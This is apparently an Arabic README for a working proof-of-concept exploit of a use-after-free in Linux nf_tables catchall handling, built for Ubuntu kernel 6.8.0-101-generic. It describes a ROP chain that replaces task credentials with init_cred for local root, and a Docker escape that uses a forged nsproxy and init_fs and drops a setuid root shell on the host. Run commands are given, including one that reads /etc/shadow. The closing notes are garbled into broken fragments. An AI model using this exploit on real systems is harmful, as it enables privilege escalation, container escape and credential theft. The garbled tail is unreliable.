
استغلال UAF في catchall الخاص بـ nf_tables على Ubuntu 6.8.0-101-generic: تصعيد صلاحيات محلي غير مميز إلى root على المضيف والهروب من الحاوية عبر nsproxy وfs مزوّرين.
استغلال UAF في catchall الخاص بـ nf_tables لـ Ubuntu 6.8.0-101-generic:
لبيئات الاختبار المصرّح بها فقط. تؤدي أي عملية تشغيل ناجحة إلى ترك نواة المضيف في حالة تلف غير قابلة للاسترداد — أعد التشغيل عند الانتهاء.
فحص genmask معكوس في nft_map_catchall_activate(): أثناء إلغاء معاملة (transaction abort)
يتخطى المعالج عناصر catchall غير النشطة التي تحتاج إلى إعادة تفعيل ويعالج
العناصر النشطة، لذا يتم إنقاص chain->use دون استعادته. بعد ذلك يمكن لـ DELCHAIN
تحرير سلسلة (chain) لا يزال يُشار إليها بواسطة verdict — وهو استخدام بعد التحرير (use-after-free).
الفروع المتأثرة: 5.10.188+، 5.15.121+، 6.1.36+، 6.7–6.12.69، 6.13–6.18.9.
تصعيد الصلاحيات (وضع lpe): تستبدل سلسلة ROP حقلي real_cred وcred الخاصين بالمهمة
الهدف بـ init_cred، مما يمنح uid 0 حقيقيًا وصلاحيات كاملة،
ويرفع قيد LSM. يعمل على العتاد الفعلي أو مباشرة على المضيف.
الهروب من الحاوية (الوضع الافتراضي): إضافةً إلى ذلك، يستبدل nsproxy (نسخة مزوّرة،
تحوّل mnt/uts/ipc/net/time/cgroup إلى تلك الخاصة بالمضيف) وfs (init_fs، بحيث يبدأ
تحليل المسارات من جذر المضيف دون setns() — إذ لا يحجبه seccomp الافتراضي في docker).
بعد النجاح، يحتوي /tmp على المضيف على ملف rootsh بصلاحية setuid وتحصل على
shell على المضيف.
يُشحن الوضعان في ملف تنفيذي واحد ويتشاركان نفس سلسلة الاستغلال وROP؛ والفرق الوحيد هو عدد الحقول المستبدلة.
| العنصر | القيمة |
|---|---|
| نظام التشغيل | Ubuntu 22.04.5 LTS |
| النواة | 6.8.0-101-generic (الإزاحات مثبتة بشكل صلب لهذا البناء) |
| الحاوية | Docker، --user 1000:1000، --security-opt seccomp=unconfined |
| المضيف | kernel.unprivileged_userns_clone=1، nf_tables متاح |
make
على مضيف الاختبار، يُنشر المشروع في /home/ubuntu/poc-cve-2026-23111
(مع exploit_escape2 المبني بالفعل).
# run as an unprivileged user
cd /home/ubuntu/poc-cve-2026-23111
./exploit_escape2 check # vulnerability check
./exploit_escape2 lpe # interactive root shell
./exploit_escape2 lpe 'id; head -2 /etc/shadow' # one-shot command

# mount the project directory read-only into the container
docker run -d --name victim --user 1000:1000 \
--security-opt seccomp=unconfined \
-v /home/ubuntu/poc-cve-2026-23111:/poc:ro \
mirror.ccs.tencentyun.com/library/ubuntu:22.04 sleep infinity
docker exec victim /poc/exploit_escape2 check # vulnerability check
docker exec -it victim /poc/exploit_escape2 # interactive host root shell
docker exec victim /poc/exploit_escape2 'id; head -2 /etc/shadow' # one-shot command

pause() — لا تُنفَّذ أي منطق أعمال في السياق المختطف.lpe يكتب real_cred/cred؛ والهروب يضيف nsproxy/fs.fork/wait/reap بشكل طبيعي.6.8.0-101-generic؛ الأنواع الأخرى أو إصدارات النقاط
تتطلب إعادة استخراج الإزاحات.panic_on_oops=1.esc_tgtX / nftpwnAB / الخيوط الموقوفة، ولا تستخدم أبدًا docker rm -f على
حاوية شغّلت الاستغلال.reboot.kill %1.net/netfilter/nf_tables_api.c — nft_map_catchall_activate()